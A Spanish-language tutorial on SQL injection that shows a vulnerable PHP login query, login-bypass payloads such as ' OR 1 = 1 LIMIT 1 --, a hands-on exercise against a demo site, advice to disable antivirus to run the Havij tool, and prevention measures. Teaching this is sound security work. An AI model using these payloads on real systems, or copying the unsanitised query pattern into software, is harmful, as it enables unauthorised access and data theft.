Tutorial de inyección SQL: cómo aprender con ejemplos

¿Qué es una inyección SQL?

La inyección SQL es un ataque que envenena declaraciones SQL dinámicas para comentar ciertas partes de la declaración o agregar una condición que siempre será verdadera. Aprovecha los fallos de diseño de aplicaciones web mal diseñadas para explotar sentencias SQL y ejecutar código SQL malicioso.

Los datos son uno de los componentes más vitales de los sistemas de información. La organización utiliza aplicaciones web basadas en bases de datos para obtener datos de los clientes. SQL es el acrónimo de Lenguaje de Consulta Estructurado. Se utiliza para recuperar y manipular datos en la base de datos.

SQL Injection

¿Cómo funciona el ataque de inyección SQL?

Los tipos de ataques que se pueden realizar mediante inyección SQL varían según el tipo de motor de base de datos. El ataque funciona en sentencias SQL dinámicas.. Una declaración dinámica es una declaración que se genera en tiempo de ejecución utilizando parámetros de contraseña de un formulario web o una cadena de consulta URI.

Ejemplo de inyección SQL

Consideremos una aplicación web sencilla con un formulario de inicio de sesión. El código para el formulario HTML se muestra a continuación.

<form action=‘index.php’ method="post">

<input type="email" name="email" required="required"/>

<input type="password" name="password"/>

<input type="checkbox" name="remember_me" value="Remember me"/>

<input type="submit" value="Submit"/>

</form>

AQUÍ,

  • El formulario anterior acepta la dirección de correo electrónico y la contraseña y luego las envía a un PHP archivo llamado index.php.
  • Tiene una opción para almacenar la sesión de inicio de sesión en una cookie. Lo hemos deducido de la casilla de verificación remember_me. Utiliza el método post para enviar datos. Esto significa que los valores no se muestran en la URL.

Supongamos que la declaración en el backend para verificar la identificación del usuario es la siguiente

SELECT * FROM users WHERE email = $_POST['email'] AND password = md5($_POST['password']);

AQUÍ,

  • La declaración anterior utiliza los valores de $_POST[] matriz directamente sin desinfectarlos.
  • La contraseña está cifrada mediante el algoritmo MD5.

Ilustraremos el ataque de inyección SQL usando sqlfiddle. Abra la URL http://sqlfiddle.com/ en su navegador web. Aparecerá la siguiente ventana.

Nota: tendrás que escribir las sentencias SQL

La inyección SQL funciona

Paso 1) Ingrese este código en el panel izquierdo

CREATE TABLE `users` (
  `id` INT NOT NULL AUTO_INCREMENT,
  `email` VARCHAR(45) NULL,
  `password` VARCHAR(45) NULL,
  PRIMARY KEY (`id`));
  
  
insert into users (email,password) values ('m@m.com',md5('abc'));

Paso 2) Haga clic en Crear esquema

Paso 3) Ingrese este código en el panel derecho

select * from users;

Paso 4) Haga clic en Ejecutar SQL. Verá el siguiente resultado.

La inyección SQL funciona

Supongamos que el usuario suministra administrador@admin.sys y 1234 como contraseña. La declaración que se ejecutará en la base de datos sería

SELECT * FROM users WHERE email = 'admin@admin.sys' AND password = md5('1234');

El código anterior se puede explotar comentando la parte de la contraseña y añadiendo una condición que siempre será verdadera. Supongamos que un atacante proporciona la siguiente entrada en el campo de dirección de correo electrónico.

xxx@xxx.xxx' OR 1 = 1 LIMIT 1 -- ' ]

xxx para la contraseña.

La declaración dinámica generada será la siguiente.

SELECT * FROM users WHERE email = 'xxx@xxx.xxx' OR 1 = 1 LIMIT 1 -- ' ] AND password = md5('1234');

AQUÍ,

  • xxx@xxx.xxx termina con una comilla simple que completa la comilla de cadena
  • OR 1 = 1 LÍMITE 1 es una condición que siempre será verdadera y limita los resultados devueltos a un solo registro.
  • — ‘Y… es un comentario SQL que elimina la parte de la contraseña.

Copie la declaración SQL anterior y péguela SQL FiddleEjecutar cuadro de texto SQL como se muestra a continuación

La inyección SQL funciona

Actividad de piratería: SQL inyecta una aplicación web

Disponemos de una sencilla aplicación web en http://www.techpanda.org/ que es vulnerable a ataques de inyección SQL solo con fines de demostración. El código HTML del formulario anterior se extrae de la página de inicio de sesión. La aplicación proporciona seguridad básica, como la limpieza del campo de correo electrónico. Esto significa que nuestro código anterior no se puede utilizar para omitir el inicio de sesión.

Para evitarlo, podemos explotar el campo de contraseña. El siguiente diagrama muestra los pasos que debes seguir

SQL inyectar una aplicación web

Supongamos que un atacante proporciona la siguiente entrada

  • Paso 1: Ingrese xxx@xxx.xxx como dirección de correo electrónico
  • Paso 2: Ingrese xxx’) O 1 = 1 — ]

SQL inyectar una aplicación web

  • Haga clic en el botón Enviar
  • Serás dirigido al panel de control.

La declaración SQL generada será la siguiente

SELECT * FROM users WHERE email = 'xxx@xxx.xxx' AND password = md5('xxx') OR 1 = 1 -- ]');

El siguiente diagrama ilustra la declaración que se ha generado.

SQL inyectar una aplicación web

AQUÍ,

  • La declaración asume inteligentemente que se utiliza cifrado md5
  • Completa la comilla simple y el corchete de cierre.
  • Agrega una condición a la declaración que siempre será verdadera.

En general, un ataque de inyección SQL exitoso intenta utilizar varias técnicas diferentes, como las demostradas anteriormente, para llevar a cabo un ataque exitoso.

Otros tipos de ataques de inyección SQL

Las inyecciones SQL pueden causar más daño que simplemente pasar los algoritmos de inicio de sesión. Algunos de los ataques incluyen

  • Borrando datos
  • Actualizando datos
  • Insertar datos
  • Ejecutar comandos en el servidor que pueden descargar e instalar programas maliciosos como troyanos.
  • Exportar datos valiosos, como detalles de tarjetas de crédito, correo electrónico y contraseñas, al servidor remoto del atacante
  • Obtener detalles de inicio de sesión del usuario, etc.
  • Inyección SQL basada en cookies
  • Inyección SQL basada en errores
  • Inyección SQL ciega

La lista de arriba no es exhaustiva; simplemente te da una idea de lo que es la inyección SQL.

Herramientas de automatización para inyección SQL

En el ejemplo anterior, utilizamos técnicas de ataque manual basadas en nuestro vasto conocimiento de SQL. Existen herramientas automatizadas que pueden ayudarle a realizar los ataques de forma más eficiente y en el menor tiempo posible. Estas herramientas incluyen

Cómo prevenir ataques de inyección SQL

Una organización puede adoptar la siguiente política para protegerse contra ataques de inyección SQL.

  • Nunca se debe confiar en las aportaciones del usuario. Siempre debe desinfectarse antes de usarse en declaraciones SQL dinámicas.
  • Procedimientos almacenados - estos pueden encapsular las declaraciones SQL y tratar todas las entradas como parámetros.
  • Declaraciones preparadas – declaraciones preparadas para funcionar creando primero la declaración SQL y luego tratando todos los datos del usuario enviados como parámetros. Esto no tiene ningún efecto sobre la sintaxis de la declaración SQL.
  • Expresiones regulares - Estos se pueden utilizar para detectar código potencialmente dañino y eliminarlo antes de ejecutar las declaraciones SQL.
  • Derechos de acceso del usuario de conexión a la base de datos – Sólo se deben otorgar los derechos de acceso necesarios a las cuentas utilizadas para conectarse a la base de datos. Esto puede ayudar a reducir lo que las sentencias SQL pueden realizar en el servidor.
  • Error de mensajes - Estos no deben revelar información confidencial ni dónde exactamente ocurrió el error. Se pueden usar mensajes de error personalizados simples como “Lo sentimos, estamos experimentando errores técnicos. Nos hemos puesto en contacto con el equipo técnico. Inténtelo de nuevo más tarde” en lugar de mostrar las sentencias SQL que causaron el error.

Actividad de piratería: utilice Havij para inyección SQL

En este escenario práctico, utilizaremos el programa Havij Advanced SQL injection para escanear un sitio web en busca de vulnerabilidades.

Nota: tu programa antivirus podrá señalarlo debido a su naturaleza. Debe agregarlo a la lista de exclusiones o pausar su software antivirus.

La siguiente imagen muestra la ventana principal de Havij.

Utilice Havij para inyección SQL

La herramienta anterior se puede utilizar para evaluar la vulnerabilidad de un sitio web/aplicación.

Resum

  • La inyección SQL es un tipo de ataque que explota declaraciones SQL incorrectas
  • La inyección SQL se puede utilizar para omitir algoritmos de inicio de sesión, recuperar, insertar, actualizar y eliminar datos.
  • Las herramientas de inyección SQL incluyen SQLMap, SQLPing y SQLSmack, etc.
  • Una buena política de seguridad al escribir declaraciones SQL puede ayudar a reducir los ataques de inyección SQL.